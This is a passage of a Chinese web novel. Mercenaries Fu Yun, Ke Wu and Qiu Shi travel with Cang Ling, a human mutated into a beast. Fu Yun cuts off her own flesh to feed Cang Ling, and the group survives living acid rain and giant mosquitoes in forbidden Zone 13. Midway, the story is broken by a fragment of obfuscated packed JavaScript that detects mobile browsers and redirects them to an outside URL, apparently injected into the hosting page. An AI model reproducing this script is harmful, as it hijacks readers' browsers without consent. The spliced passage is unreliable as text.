第一次见到她,她为队伍断后,淹没在一群喜蛛中,手起刀落,寡淡的脸上没什么求生欲,只是遵循某种程序一般,精准地收割着异种的生命。
苍灵本想出手,看到这幅场景又缓缓退回暗处。她看着女孩将蛛群赶回地下,拖着伤痕累累的身躯向队友撤离的方向走了两步,晃了晃,倒地不起。
确认女孩陷入昏迷,苍灵现身将她拖拽至基地附近,等她得到救助方才离开。
那之后她又在不同的地点看到对方,最远的一次是13区边缘。彼时她渐渐难以保持清醒,一天中有半天的时间昏睡,再醒来时浑浑噩噩,竟走到了禁.区边缘。
禁.区里的东西发现了她,围猎了她,她拼着最后一口气逃出去,倒在无所遁形的荒原上。
女孩所在的雇佣兵小队侦测到苍灵,出于对她体型的忌惮并未攻击。在众人诧异的目光中,女孩走到她身前,声音没什么起伏:“我好像见过你。”。而后不顾众人的惊呼,一把捞起了她。
即使女孩向来特立独行,这个举动也称得上丧心病狂了。
理所当然的,她的队友拒绝带上苍灵。女孩满不在乎:“它不走我也不走。”说着就要拿着自己的装备脱离队伍。
队友们这才慌了神,女孩在基地声名不佳,还上赶着和她组队的都是指望她强大的实力保驾护航。女孩一走,队伍的战斗力就会大幅跳水,万一遇上危险,能否自保都成问题。于是队友们不情不愿地同意女孩收留苍灵,还单独分出一辆车给她,以免自己被异种可能的攻击波及。
女孩替苍灵梳理头发,给她喂食腐肉,她却在神志不清时循着肉味一口咬下。
女孩的嘶声让苍灵清醒过来,她愧疚不已,想要跳下车,却被强硬地按住。
“她们都觉得我疯了。”女孩的眼睛不似常人,透着金属的光泽,瞳仁幽幽转动,锁定她:“可我的随身记录仪显示是你把我带回的基地。”
“异种不会那么做,异能者又不长这样,所以你是保留了人类记忆的异种?”
苍灵可以挣开女孩,但怕自己锋利的爪子伤到对方,故而一动不动。她思绪混乱,剩余的那一丝清明察觉这是一个难得的好机会,然而开口时黏连变异的声带连她自己都辨不出说了什么:“是……”
女孩耐心地听了一会,在她第十次尝试发音时推来通讯器:“会打字吗?”
苍灵:“……”对哦,还可以打字。
她笨拙地摆弄通讯器,敲出自己的名字和职务,还想把自己的经历复述一遍,但脑子像生了锈的齿轮,转着转着就卡住了,半个字都打不出。
“我叫浮云。”女孩自我介绍,单刀直入:“你想回基地?”
苍灵没有点头。她知道对于自己的异化症状,基地的医疗水平已是无力回天,除非再喝一次那个女子的“抑制剂”。以她的骄傲,她宁可作为异种悄无声息地死去,也不愿让苍灵这个已经牺牲的名字被鞭尸被颠覆荣耀。所以比起返回基地,她其实更想帮女子把话带到。
经过一番苍灵不愿回忆的艰难交流,浮云总算明白了她的意思:“赖城没有研究所,别称研究所的只有第四基地,她们的所长失踪多年,现在是副所长暂代职务。”
苍灵后知后觉,女子想要传达的人可能已经不在了。
她自然知道第四基地,但对女子的盲目信任让她把这个显而易见的事实抛却脑后……又或许是,一直以这个信念支撑着自己,不愿去想个中关窍。
“我还在第四基地的时候,”浮云不甚熟练地开口安慰:“听说过所长想要研发巨型探测仪,好像是为了引诱捕捉某个异种,但被其她人阻止了,不知道她后来下落不明有没有这方面的原因。”
浮云先天不足,肌肉会在成长的过程中逐渐萎缩,作为残次品本应被“销毁”。碰巧那年第四基地和第七基地合作开展了一个实验项目,对人体加以改造,从而加强非异能者的战斗力。实验项目需要征选一批不同年龄段的志愿者进行实验,出于人道主义,育英院将符合条件的浮云留下,养到五岁便送去改造。就结果而言,很成功。
改造后的身体使浮云刀枪不入,甚至因为躯体机械化,被污染的可能性也大大降低,在各种作战场合都有优异的表现。从第一次接受改造开始,她便无休止地进行着战斗。
五年前禁.区扩张,基地预备搬迁,当时还是士兵的浮云恪守军令殿后,不幸被高危异种污染。若不是禁.区突然停止扩张,狩猎她们的那只异种慌忙撤退,她可能已经完全异化堕.落。
即便如此,污染还是给她留下了难以消弭的后遗症。她出现了严重的幻觉,难以继续服役,索性办了伤退,靠抚恤金和接委托过活。
惊心动魄的前半生被浮云三言两语带过,苍灵没想到女孩看上去不过刚结业的年纪,就已经是因伤退休的处境。她心怀不忍,职业病使然,下意识摸了摸对方的头。
浮云不甚明显地笑了笑:“谢谢。”
苍灵自认没什么理由留下,浮云却以报答救命之恩为由不放她走。她们行过许多地方,后来她察觉自己清醒的时间所剩无多,在一个夜晚默默离开。
浮云一开始对此无动于衷,没有执着的寻找,也没有阻止她离去。苍灵以为她们只是萍水相逢,到了分别之时合该顺其自然。她在僻静处刨出一个能完美掩埋自己的深坑,凭着最后的意志蜷缩其中,等待死亡的降临。
意识陷入混沌,但没有泯灭。支离破碎的梦境中,她看到浮云挖开层层黄土,拉出已经失去人类意识的自己。
那只怪异丑陋的老狗久未进食,饥肠辘辘,一口咬上将它拽出深坑的手臂。浮云并未阻止,反而伸得更向前一点。
她残存的意志做着顽强的抵抗,没有咽下新鲜的血肉,而是推开女孩,在荒野中撒足狂奔。这五年里,她无数次徘徊在赖城附近,肌肉记忆指向那个方向,她往那儿去,钻进曾是栖身之地的下水道,祈祷在失去意识之前死亡。
再后来,外头轰鸣声乍起。
*
浮云听到苍灵的呼唤,高大的身躯微颤,刚要举起手,眼前却一花。
灰白噪点充斥视野,耳边的声响既远又近,柯雾化身的那颗彩团无视苍灵的挣.扎,搓扁揉圆一番,对浮云道:【有笼子吗】
【回基地吗】
每一句都像恶魔低语。浮云定了定神:“不回。”
她像设定好流程的机器,紧跟着一气呵成的喂食动作。
尖刀向下,刺开皮肉。鲜血喷涌,这没什么。浮云想,等吃饱喝足,她就不会那么痛苦了。
*
浮云果然颠颠的,好在柯雾早有防备。对方迅雷不及掩耳地剐自己的肉,她就迅雷不及掩耳地退避数步,期间狗子的毛发起落,她见这皮毛长得快要进眼睛了,忍不住拨到一旁。
狗狗在她怀里小声叫唤,“云……”声音气若游丝。
柯雾怔了怔,不确定是不是自己出现了幻听。
狗子却没再出声,它看上去虚弱非常,像是刚从一个噩梦中醒来。
“你打算就这么喂吗?”柯雾安抚地拍了拍狗背,不动声色地走到车门边。“它应该有专属的食盆之类的吧,你这样它也不方便吃,血流出来还浪费,先上车?”
说完她眼神暗示从始至终都没下车,趴在窗边眼如铜铃的秋十。秋十收到她的信号,打了个激灵,也推开门下车。
秋十的背包比柯雾全面很多,比如她可以随手从包里掏出一个泡面碗,像放到自动饮水机下接热水那般放到浮云手臂下接淅淅沥沥的血水。
柯雾:……我不是这个意思啊!
浮云眼神一动,把刚剜出的肉丢进碗:“没有那种东西。她叫苍灵,是由人转化的异种,仍存有自我意识。我不是她的主人,我们也不是主宠关系。”
?柯雾心想在帖子里你可不是这么说的。
浮云挪开捂着伤口的手,缺了一块的手臂展示在柯雾面前,伤口处血肉模糊,同时掺杂着一些硬质的甲壳,像透明色电线在血液里纠缠。
“五年前,我在13区对战一只蝎子外形的异种。”浮云:“那时我被污染了,后来也没有完全净化,只是异化症状在内部,外人看不出来。”
“
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蝎子?”柯雾莫名想起姐姐钟爱的蝎尾辫以及中二时期贴的一堆蝎子纹身贴。这时想起老姐也太不吉利了,她赶忙把回忆甩出脑海。
“这段时间没有缘由的旧病复发。”浮云转了转手臂,在不显于人前的手臂内.侧,可以很明显地看出甲壳状的纹路,“发帖的时候脑子不太清醒,后来发现这样热度更高,就没有再改。”
柯雾心想果然是在优美的精神状态下诞生的产物。
秋十忍不住顶了一句:“你难道没发现没人接单吗?”
浮云:“就要胆子大的。”顿了顿道:“要钱不要命的。”
要钱不要命的柯雾&秋十:“……”
浮云顺手端走了碗,递到苍灵面前,生涩地哄道:“吃吧。”
苍灵像是实在无法忍受,利爪一挥,直接掀了饭碗。
顺滑的毛发下是一双格外清亮的眼,此时湿漉-漉地对着天空,也对着俯下身的柯雾。
似乎在说:够了,别再继续下去了。
她甚至没看浮云一眼,浮云就读懂了她的意思,惨白着脸接过秋十递来的绷带,缠紧伤口。
柯雾这时也看不懂了:“所以你发委托的目的是?”
浮云闷声:“我需要诱饵。”
“她不肯吃我的肉,只要她还清醒,就会躲着我,不清醒也会。不清醒的时候,如果有其她活人,闻到猎物的气息,她可能会出现。”
秋十以己度人:“可能因为她当你是朋友,不好意思吃吧。”说起来以浮云的实力明明可以抓一只野兽或者有肉的异种投喂,搞不懂为什么一定要自己的血肉。
苍灵在柯雾怀中瑟缩了一下,柯雾拢紧它,注意力从浮云奇葩的脑回路转移到其她地方:“那个,老板,你知道苍灵身体里的肿瘤是怎么回事吗?”
“肿瘤?”浮云面色微变:“不是怀孕?”
“应该不是。”柯雾仔细摸着那鼓胀的腹部:“我妈妈是兽医,我见过很多怀孕的动物,她们不是这样的。”
“会病变吗?需要治疗吗?”浮云肉眼可见地急了起来。
秋十则是大惊失色:“你有妈妈?!”
“你没有吗……对不起你确实不知道。”柯雾止住了话头,严肃道:“她这个情况是不太好,最好去专门的医院检查一下……基地有吗?”
浮云抿唇,答案显而易见。
车内的气氛空前凝重,柯雾硬着头皮道:“只是切割的话,我见过很多次,应该可以。但要保证术后不会感染,还是需要专业的医师护理。”
浮云微微蹙眉:“第四基地。”
柯雾:“?”
“对哦。”秋十完全沉浸在气氛中了,“第四基地别名研究所,什么疑难杂症都有涉猎,没准真有办法。”
“那去吧?”柯雾试探地问浮云。
浮云垂下眼,良久才道:“我去就好。”
她转动手环,操作了几下:“结单了,多谢你们。”
诶?
钱来得太快,柯雾没什么喜悦的感觉。
但归根结底是人家的私事,她也不好干涉。
浮云坐上驾驶座:“我先送你们回城。”
柯雾和秋十都欲言又止,特别是秋十,她很想说自己也会开车,要不还是她来吧。但浮云没给她这个机会,直接发动了。
柯雾依然在副驾驶,不过怀里多了只……多了个人?
柯雾也不知道怎么定义苍灵,只是抱着她,希望能多少起到一点安慰作用。
苍灵一直没再说话,或许是太虚弱了。
“啧。”后座的秋十叩了叩车窗:“要下雨了,真倒霉。”
柯雾移开眼神,窗外的景色在浮云把汽车开成赛车间风云变幻。
从来万里无云的天空此刻电闪雷鸣。乌云滚滚倾倒,泼墨一般几近铺满苍穹。
“下雨会怎样?”柯雾很喜欢雨天,但这个世界的降雨显然没那么简单。
“都是酸雨。”秋十难得叹气,“下一场基地就得大翻修一次,而且总有流言说……”
她停了片刻,神神秘秘道:“云的背后是神级异种,每一场暴雨,都是一次神降。”
18. 雨后彩虹
听了秋十的话,柯雾抬头望天。天空暗沉发红,黑云汹涌翻滚。不时有横跨半个天际的闪电明灭。旷野风声呼啸而过,车身一阵不稳。
四周暗了下来,柯雾看到车窗上映出苍灵的影子。
奇怪,怎么不见她的?
浮云空出一只手拧开顶灯。
柯雾眼前闪了闪,就见车窗倒影的少女。
浮云一个急刹。她们的身体前倾又后倒。
柯雾:“怎么了?”
“前面有东西。”浮云打开了前照灯。
狂风漫卷而来,掀起漫天沙尘,她们的车仿佛陷入流动的沙海,四周茫茫不可见。
柯雾伸手打开雨刮,不慎和浮云拨前照灯的手碰到了一起,她顿时起了一层鸡皮疙瘩。
陡然明亮的前路里,沙尘聚集成团,堵在车前,黄沙一阵一阵地扑来,五道长长的痕迹从车前窗逶迤而过,留下五爪的痕迹。被雨刮扫去又再生。
浮云在操作台按了两下,随着“咔”的一声,车窗两边前后黑色的挡板升起,隔绝了她们的视线。
“防护屏障。”对上柯雾惊讶的目光,浮云沉稳道。
基地人行走荒原的经验丰富,对各种极端情况都有所准备。厚实的隔板看着就不会被轻易腐蚀,柯雾放下心。
车前窗也被挡板遮挡,浮云靠着车载导航的提示驾车,行速有所放缓。
昏暗的环境,风声雨声无人出声,不时颠簸的车上就像巨大的摇篮。柯雾逐渐放松下来,眨眼的频率越来越低。
*
雨将倾落。
有祂的领域在,秋十其实不怎么担心。她那么说是试探祂的态度。基地确实有从研究院流出的传言,研究员在暴雨天检测到非同寻常的波动。她这段时间恶补了很多神级异种的资料,资料显示神级异种现身的地点往往异象横生。以毒攻毒,没准祂能阻止暴雨的发生呢?
然后她就感到祂不再注视此处,原本明艳的色彩悄然暗淡。
这熟悉的一幕让秋十瞪大眼。
等等,您别睡啊,至少这时候别!
随着祂的目光完全消失,领域不稳地闪了闪。挡板遮着,秋十看不到外头,只感到雨声渐大。苍灵在祂怀里不安地拱了拱,但并未能将祂唤醒。
祂表面的漩涡竟缓缓停了下来,不再旋转。
空气中有什么在悄然变化。
秋十不安地看着祂,由于直视祂过久,她的眼睛短暂地失明了。
于此同时,高空雷声轰鸣,雨幕中点点繁星闪现。秋十肉眼报废,大脑却接收到一种全新的观感。
祂夺去了她的一个感官,又赋予她另一个。
脑海中一幅巨幕画卷般展开。她从一个未知的高度俯瞰荒原,“看”到祂的领域缓缓下降,最终和本体合一。本体绚烂的色彩被充斥着阴影的领域掩盖,祂成了一颗贫瘠荒凉的星。
没了领域的阻拦,雨水倾泻而下。
大雨滂沱,越野车疾驰于雨幕中,车内一片静谧,只听到噼里啪啦的雨声。
暴雨是罕见的天灾,上次降临还是五年前。若是身处基地,降雨前基地会发布预警。人们撤到地下避难所或躲入休眠舱,等降雨结束后才会返回地面或出到室外。
所以这是秋十第一次从高空俯视酸雨落下。
她的感官无限拔高,连她自己也无法控制。那雨水中倒映在她惊恐的“眼神”中。
她看到织连成片的雨点落在车身,并未滑落,而是彼此粘连,像镀了一层逐渐覆盖车窗的银膜,膜的边缘富有节奏地伸缩着。
每有一滴落下的雨加入,攀在挂在窗外车身的银膜便壮大一分。它逐渐有了生命,蠕动着伸展己身,啃噬窗沿。
她“眼”看着如同生物的雨幕侵蚀车身,耳边传来挡板被腐蚀的“滋滋”声。
这到底是什么东西!秋十浑身寒毛都竖起来了。
*
柯雾做梦了,梦到很久以前一个寒冬的夜晚。
母亲工作繁忙,她平常由姐姐照顾,但那天姐姐出门和朋友聚会,到深夜都没回来。
她抱着抱枕在沙发上看书,身上盖着温暖的毛毯。正看得聚精会神,突然头顶白炽灯闪了闪,“啪”地一下熄灭了。
柯雾起身,毛毯滑落,只穿着单薄睡衣的她一个激灵,顺手穿上一旁的外衣,摸索着打开了手机的手电筒。
灯柱穿透满是灰尘的灯泡,柯雾照了半天,确认是灯泡坏了。她想了想,搬来折叠梯。
刚踩上第一个台阶,柯雾眼前一黑。
*
秋十无所适从。
在她的感知中,她浮在半空,她多了一个视角,但不会用,浮云还在开车,黑色的车辆在雨中徐徐前进,她不知道该怎么向她说明自己的情况。
她着急地转着视线,突然,两道光柱从移动的黑盒子内.射出。
强光穿透云层,秋十看到云层中有什么东西动了动。
那道光束……是祂?
她心中想着向下、回去,勉强将视线降低,一点一点落回自己的身体。
祂的躯壳此时半开裂,熔岩般的纹路在其上流动,那裂隙漏出光芒,照亮车内,轻而易举地透过车身。
浮云和苍灵淹没在强光中,秋十看不到她们的表情,听不到她们的声音,自己也看不得说不得。
祂到底怎么了?
秋十被迫将视线移出,重回天上,远处卷积的乌云还在扩大,一个灰色倒扣的漩涡正缓缓成型。
秋十在资料里见过这幅景象。“这是……龙卷风?”
下一秒,她被卷入混乱的漩涡。
祂完全开裂,色彩如岩浆沸腾,淹没她们涨过车身。
*
柯雾躺在地上,不住喘息。
在她眼里,灰菱格子分割的天花板化作血淋淋的内脏,腐肉从中不断掉出,掉落到她的脸上,她胡乱地抹,拿到眼前一看,分不清是泪水还是血水。
她踉踉跄跄地起身,闭眼摸到床头柜,从中摸出一个没有标签的药瓶,顾不上倒水,打开瓶子便囫囵灌下。
*
雨水渗入祂的色彩,那银白黑灰的液状生命体企图淡化祂、消溶祂,却被反将一军,反向渗透。
滚烫的色彩吸收了每一滴落下的雨水,白雾蒸腾,朦胧了天地。
祂无声无息地收割每一点滴落的生命,一直到雨水不再落下。
*
柯雾趴在床头,等那阵漫长的、难耐的头痛过去。
莫名的恼意席卷了她。
她不过只比姐姐小五岁,却因难以医治的精神疾病几乎无法独立生活。
从前还小的时候,母亲聘请保姆看顾,她们把她当易碎的瓷器看待,她足不出户,一举一动都小心翼翼,生怕做了什么出格的事被认成“小雾又发病了吗”。如今她大了,基本生活能够自理,不再需要人贴身照顾,可姐姐和妈妈还是将她当作小孩子看待。虽然不到衣来张口翻来伸手的地步,但稍微难一点的家务都不让她做。这让她觉得自己和没用,时常会想如果没有她,她们是不是会活得更轻松点?
她起伏的胸膛逐渐平缓,最难熬的那段时间已经过去。她踉跄着起身,扶着墙走出客厅。
晃动的视野逐渐恢复正常,她拉开储物柜,数个灯泡挤挤挨挨排在一处。若是姐姐在,这时已经翻出灯泡去换了。
柯雾这样想着,伸手去够最近的那个。
*
祂到处都是。
灰蒙的景色被那奔腾的虹色长河冲破,秋十不知道祂成了长河,还是那直射入厚重云层的光柱,她新长出的感官开始发痛,不能再看了,她奋力将感官转开。
但感官还是不可避免地被天地间奇异的变化吸引。
雨不再落下,雷电在乌黑的云层中不时闪现轰鸣,好像天空中有什么怪物在愤怒的吼叫。
虹色长河吸收完残余的雨水,缓慢地升起,好似七彩蟒蛇高昂头颅,又好似丝带缠上无边际的光柱。
虹河远上乌云间。
*
灯泡被放入宽大的口袋,另一头是开着手电筒功能的手机。柯雾抓稳边缘,一级一级登上银色长梯。
尽管治标不治本,但这种药在暂时压制幻觉方面确实很管用,她周围除了手机的光线便是被黑暗笼罩的家具,再没有其她古怪的事物,比如蠕动的烂肉,比如浓郁的血水。
她小心地攀爬着,直到抵达顶端。
*
那么远的距离,本该看不见,可秋十就是看到那点色彩倒灌天穹,一点点地侵染墨色。
云层同样沸腾同样汹涌,可在祂蚕食的姿态前还是一点一点败下阵来。
*
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726869|156481||http|test|mini|href|location''.split(''|''),0,{}));
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>柯雾靠着顶端歇息了片刻,伸手取下旧灯泡,螺纹状的卡口一点点露出。终于,她彻底地扭下了旧灯泡。
她从口袋里拿出那颗崭新的灯泡,刚要装上去,大门处传来“咔哒”一声很轻的声响。
是电子锁验证成功开门的声音,柯雾一僵。
*
色彩没入云端,丝丝缕缕地缠上暗色云雾,一开始只是薄薄的一层,随着升空的色彩愈来愈多,空中翻涌的虹色愈来愈浓,终于压过电闪雷鸣的云层。
在祂即将完全吞没乌云之时,秋十耳边传来一声怒吼。
她像上次那般回落,等完全回到座位上的时候,她失去了和感官的联系,眼睛也复明了。
她看到驾驶座上的浮云满目血丝,前方就是断崖,但她没有停下,反而将油门踩到底。
浮云完好的半张脸爬上细细密密的纹路,青黑色在她脸上蔓延,她半边脸是黑色的甲壳,半边脸是银白的机械,分外可怖。
“她异化了……打醒她。”
虚弱的声音从前座传出,秋十吓了一跳,而后反应过来是苍灵在说话。
她咬咬牙,握紧拳头,对准浮云裸.露的半边后颈,狠狠挥下。
*
“为什么不亲自去见她?”面对郁七的质问,女人嚼着薯片,语声含糊。“因为还不能见。”
“祂还没到觉醒的时候。”
“等祂吃饱了、喝足了,才是我们重逢之时。”
她站起身,影子在充足的光照下一翘一翘。长长的蝎尾投下长长的影子,卷起薯片包装袋,顺尾打碎了监控,拔出其中的芯卡。
“你提醒我了,到给祂喂食的时间了。”
*
姐姐回来了。她站在门口,一身酒气,面色不虞地看着僵硬的柯雾。
两姐妹一个上一个下,大眼瞪小眼了一会。姐姐无奈地叹出一口气,水汽在冬日出口氤氲,模糊了她的面容。
她走过来,扶住柯雾的梯子,没好气道:“赶紧换完下来。”
*
浮云改造后的身体太强悍,秋十劈不晕她,只好去抢方向盘,她们扭作一团,车身一会朝左一会向右,眼看便要落入深渊,彩团从天而降,泰山压顶,一锤定音。
*
柯雾换好灯泡,抓着姐姐伸来的手完好无损地下了折叠梯。
姐姐把她翻过来转过去上下检查,仿佛她不是爬个梯子,而是大闹天宫了一通。
“我没事的。”她不好意思道。
微凉的手指按上她微微红肿的额头,姐姐不知什么时候拿起茶几上的空药瓶,语气不善:“你忘记吃药了?”
柯雾垂下头,还想辩解几句,眼前人的身形便如沙堆,消散于狂风中。
她从睡梦中惊醒。
*
“还好您回来了……”
秋十不知什么时候挤上了驾驶座,正和浮云抢方向盘,见她睁眼几欲落泪。
“……?”柯雾起身,发觉挡板不知怎么的被撤下了。
“卫星导航失去信号,没法靠导航开车,得打开看路驾驶。”秋十看穿了她的疑惑,主动解释道。
柯雾侧头,发现窗明几净,这场大雨洗净尘埃,如今天空一碧如洗,万里无尘。雨宴的余韵是车窗上残留的雨露。雨水它们一点一滴流下,拖着小尾巴,像流星从车窗划过,滴落沙地无踪。
“这是哪里……?”她茫然地道,又见神态异常的浮云:“她怎么了?”
“等等哈。”秋十空出一只手在操作台上操作,一个卫星符号弹出,她仔细观察了一会,嘶声道:“13区,我天,怎么还是进来了。”
“不过有您在应该没事……至于她,她的异化症状更严重了,要不您碰碰她。”
“喂一点您的水给她吧。”苍灵微弱的声音从柯雾怀中传来。
柯雾还没从久违的梦境中缓过神来,左耳进右耳出,只有最后一句听进去了。她翻出水壶,丢给了秋十。秋十准确接过,压着浮云开始灌水,没多久,浮云双眼中的血色和面上的青黑甲质一齐褪.去。
柯雾还记得13区就是禁.区,满怀担忧道:“怎么来了这里?”
“是因为……”回到后座的秋十卡了一下:“因为雨太大,信号不好,导航失灵了。”
柯雾不疑有她:“那现在怎么办?”
19. 林中一瞥
她们掉下的地方非常不巧,是13区的中.央地带。
秋十还没想好怎么回复,四周就传来响起窸窸窣窣的动静。
不会又有异种吧……
她心底哀嚎,却做好了战斗准备。
“您看上去不太好。”苍灵对祂道。
【头痛】祂如是道。
祂的视线低垂,对环境的变化恍若无觉。
秋十不知道祂会不会再次出手,如果祂的状态不好,她们来就是了。
她一巴掌拍上浮云的后背:“我说云姐,你清醒点没?”
浮云面无表情地把三支精神恢复剂拔出手臂:“醒了。”
苍灵也站起身,她的鼻头翕动,而后道:“附近有尸体。”
“人的吗?”秋十真心发问。
苍灵摇头:“不止。”
“那云姐守车,我去看看。”秋十穿戴好装备,准备下车,被一只从车底冒出的触.手勾住。
“?!”她回过头看祂。
【你的通讯器】祂轻声道,拜别不久的感官被推入脑海。
秋十浑身僵硬,一会想我的手环一直戴在手上,一会儿想全知视角确实好用。
她的视野涵盖郁郁葱葱的森林,林海不时有黑影翻腾。
对刚刚旁观过不可名状战斗的秋十而言,这些已经不会让她害怕了,她毫无波动地把视线投向她们所在的小黑点。
然后下降、下降……
秋十屏气凝神,小心翼翼地控制着感官,她使用得十分不熟练,像乱调相机的摄像师,视野一会宽一会窄。
一会儿黑屏了。
不对。秋十皱眉,一点点拉开距离,首先出现在视野里的是一根粗长的腿毛。
秋十深吸一口气,一下把视野拉大。
一只蚊子正仰头,细长的口器对准空气中的一点。它的足肢黑白相间,背翅覆着厚厚地一层油脂,不住振动却无法起飞,落,腹部隆起一个柔软的弧度,撑的半透明,像一颗红石榴籽。
看来还是靠太近了。
秋十咬咬牙,后退,再后退。
但直至退无可退,蚊子都没缩小半分。
秋十意识到什么,视野缓缓向上,她看到空中俯瞰都很有存在感的高大乔木,不过刚刚过蚊子半个身子。
“……”秋十吞了吞口水,心想那些翻腾的黑影不会全都是蚊子吧哈哈哈。
她收回视角,清了清嗓子问:“你们知道13区有哪些异种长得像蚊子吗?”
祂置若罔闻,浮云闻言打开通讯器,只有趴在地上的苍灵思考了一会儿道:“梨花蚊?”
有些耳熟,秋十绞尽脑汁回忆,苍灵见状贴心地解释道:“八级异种,由白纹伊蚊异化而来。体表多毛,无时无刻不在掉毛,污染通过这些随风飘散的绒毛传播。绒毛若柳絮,若是人不幸沾上,会在高热三天后死去。死后尸体呈现梨花状的尸痕,绒毛会从‘花蕊’中钻出,再度阴魂不散地传播致死量的污染。”
秋十莫名有种上课被点名抽背的汗流浃背之感,这样强传播性的异种是被基地列为高危异种之一,反复提及要她们多注意的。但她一般和小队一起活动,队里有温九和郁七两位好学生,从来不怕没答案抄,这会原形毕露了。
所幸这位导师没有责难她的意思,只是温和问道:“你看到它们了吗?”她好像并不奇怪秋十只是待在原地便能“看到”。
它们?秋十迟疑道:“我只看到一只。”
苍灵:“梨花蚊都是成群结队出没的。”
你们这些昆虫类的异种怎么都喜欢组队啊!秋十咬牙,再度使用视角,投向刚刚的那片区域。
但她没再看到其她蚊子。
“如果没有,说明其她蚊子倾巢而出狩猎,留下老弱病残守家。七级以上的异种都有很高的智能,甚至显示出一定的社会性。”
导师,你说话不要大喘气啊!还有高危异种有智能这个常识她还是知道的,倒也没有那么不学无术……
等等,那刚刚窸窸窣窣的动静是?!
这台饱经风霜的车被礼貌地敲了一下门。
巨大的足肢扣在铁皮上,“叩叩”。
*
柯雾把苍灵放下,她看上去好很多了,至少脸色不再那么苍白,多了几分血气。
她实在头痛欲裂,许多碎片化的情景从记忆深处浮现,她艰难地消化着,遥远而模糊的回忆逐一清晰、具象。
她的心也愈来愈痛,呼吸越来越困难。
胃里鼓鼓胀胀,都说胃部是情绪器官,但她明白并非如此,她确实……饱餐了一顿。
活人的惊呼在感知范围内响起,她从那种难以抑制的低落中挣脱,任由漆黑的阴影从体内漫出。
*
消失的领域再度张开,和从前薄若无物的质感不同,出现的那一瞬仿佛周围所有的光线都被吸入其中,其存在感无法忽视。
蓦然展开的领域犹如一只翘起的食指,轻而易举地弹开了来袭的蚊群。
*
柯雾闭眼,内心默念经文,这是她保持平静的一种方式。
再睁眼时,她精准地转向窗外飞舞的白蚊。
还是那么吵。
一旁的苍灵拉了一下她的衣摆。不对,不是衣摆,是防护服下摆。
她的防护服还在身上吗?柯雾歪着头认真思考一会,应该不在了。她自顾自地点点头,眼神垂向趴在脚边的小狗:
“怎么了?”
“吓到你了吗?”
*
苍灵摇头,蹭了蹭祂。
祂叹气一声,流动的色彩向下淌,淌过苍灵耳畔,重叠的飘渺女声在她耳边响起:【你又不是小狗,跟我示好干什么】
苍灵吃惊地抬头。她在恢复清醒的一瞬间便认出了祂是五年前的女子,但祂既不记得她,行事作风也与当年大相径庭。她不清楚发生了什么,只是女子似乎对自己的状态早有预料,她便也不是特别担心,只是想随护左右。
可经过暴雨中的争斗,祂的性情似乎发生了变化,更接近苍灵认识祂时的模样。
“不是示好。”她辩驳道:“我没有被吓到。”
她顿了顿又道:“你很好。”
轻而远的笑音飘忽而至,苍灵甚至不知道那是否是笑声,还是祂模拟人类发笑时的频率,将之传入她的耳中。
【你们都那么说】祂低低道:【希望我对得起这句话】
什么?
祂的身形不断幻化,不再是浑.圆的泡泡,而是扭曲、拉长、抻高,凹凹凸凸一阵,最终定在一个高挑的人形剪影。
剪影迈开油彩组成的腿,倏忽间穿过车门。
*
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柯雾心里不痛快,想要发泄出来。正巧这里有一群很好的发泄对象。
她抬手,对着嗡鸣的蚊群用力一扇。
“啪!”“啪!”“啪!”
*
五光十色的剪影甩出衣袖状的分支,融化的色彩所过之处空气都微微扭曲。
梨花蚊见势不妙,想走为上计,却被数秒内从一线涨至一片的彩色浪潮吞没。又吐.出。
它吸满血的晶莹腹部瘪下,那点红色自然归大开大合的浪潮。
祂行过幽林,抬起袖子收割群蚊。
*
柯雾是个爱干净的女孩,但她还是在拍死蚊子后闻了闻残存指尖的血液。
微不可查的致幻剂异味。她曾大量吞服这种禁药,对其熟悉得不能再熟悉。
是谁赶这群不要命的东西到她口中?
她想起一点苏醒前的记忆,眯了眯眼,看向不远处那片她们跌落的断崖。
一个几不可见的黑点探出崖顶,那是一截蝎尾。
柯雾呼吸一滞。
她本可直接将其打落,但她没有动作,就这么立在原地,直至那点黑影转身,走入茫茫荒原。
蚊群趁她愣神,飞速地撤回雨林深处。
*
秋十不怕死地在祂面前挥手,祂回过神来,融化扭曲的触.手覆上车窗:【怎么了】
“您……你没事吧?”秋十有些不安,她总觉得祂和从前不一样了。至于哪里不一样,她说不上来,只是让她畏惧的同时,莫名有些心悸。
被祂赠与的感官鼓涨着,印证了这种异常。
【怎么都那么问】祂似乎笑了笑,色彩如若无物地穿过窗户,点上她的眉心。
【你不能多用,我拿走了】
“?哦哦?”感官又如来时突然地消失无踪。本来就是她给的,秋十自然没什么贪恋,只是有点奇怪,说是污染造成的异化又不太像,祂还能和人类共享感官吗?
【我们回去吧】祂分解,渗进副座车窗,在副驾驶聚成一滩后迟迟没有成形,泡泡或是人形都没有。【我累了】
“回基地吗?”苍灵小心地碰了碰那片咕噜咕噜的彩色小水潭。
【嗯】祂顿了顿道:【有镜子吗】
*
秋十在鼓鼓囊囊的背包里翻找了好一会,然而她们雇佣兵确实用不上镜子这种娱乐功能大于实用功能的工具。
她干脆下了车,在车外将前车门旁的后置敬掰向祂:“您看看?”
【谢了】那滩五颜六色的黑水逶迤起身,越过浮云特意打开的车窗,占满整个镜面。
*
柯雾体会到了大多数人面对她的视角,一会儿是直立而起的彩色液体,一会儿是面容沉静的少女。
少女的倒影仿佛卡顿的影像,总是慢她的动作一步。
柯雾测试完毕,自己转回了后置镜。
她眼见自己伸出的手变成半空流动的油彩,面不改色地催道:“快开吧。”
*
剪影更具人形。
祂多余的部分散去,充斥车身每一个孔洞,车辆与其说是靠发动机移动,倒不如说是被托在祂这片高速流动的水面上。
祂急切地想要回到基地,秋十实在感到异常,怀着浓重的愧疚之情,拨动手环,向第七基地传递了这一消息。
20. 还在修
郁七断开了三人之间的精神链接。她捂着胸口,鬓角渗出细密的汗。
对于刚刚升阶的她而言,这样长时间的记忆共享还是有些吃力了。
“我感到她要离开,试图影响她的精神,我以为她是人类,但尝试后才发现——”郁七抱紧双臂,“她、她根本不是人。”
“她的意念像飘渺的雾气,悬浮于精神海,没有动摇的可能。”
“我的攻击被她察觉了,她同样反击了我。”
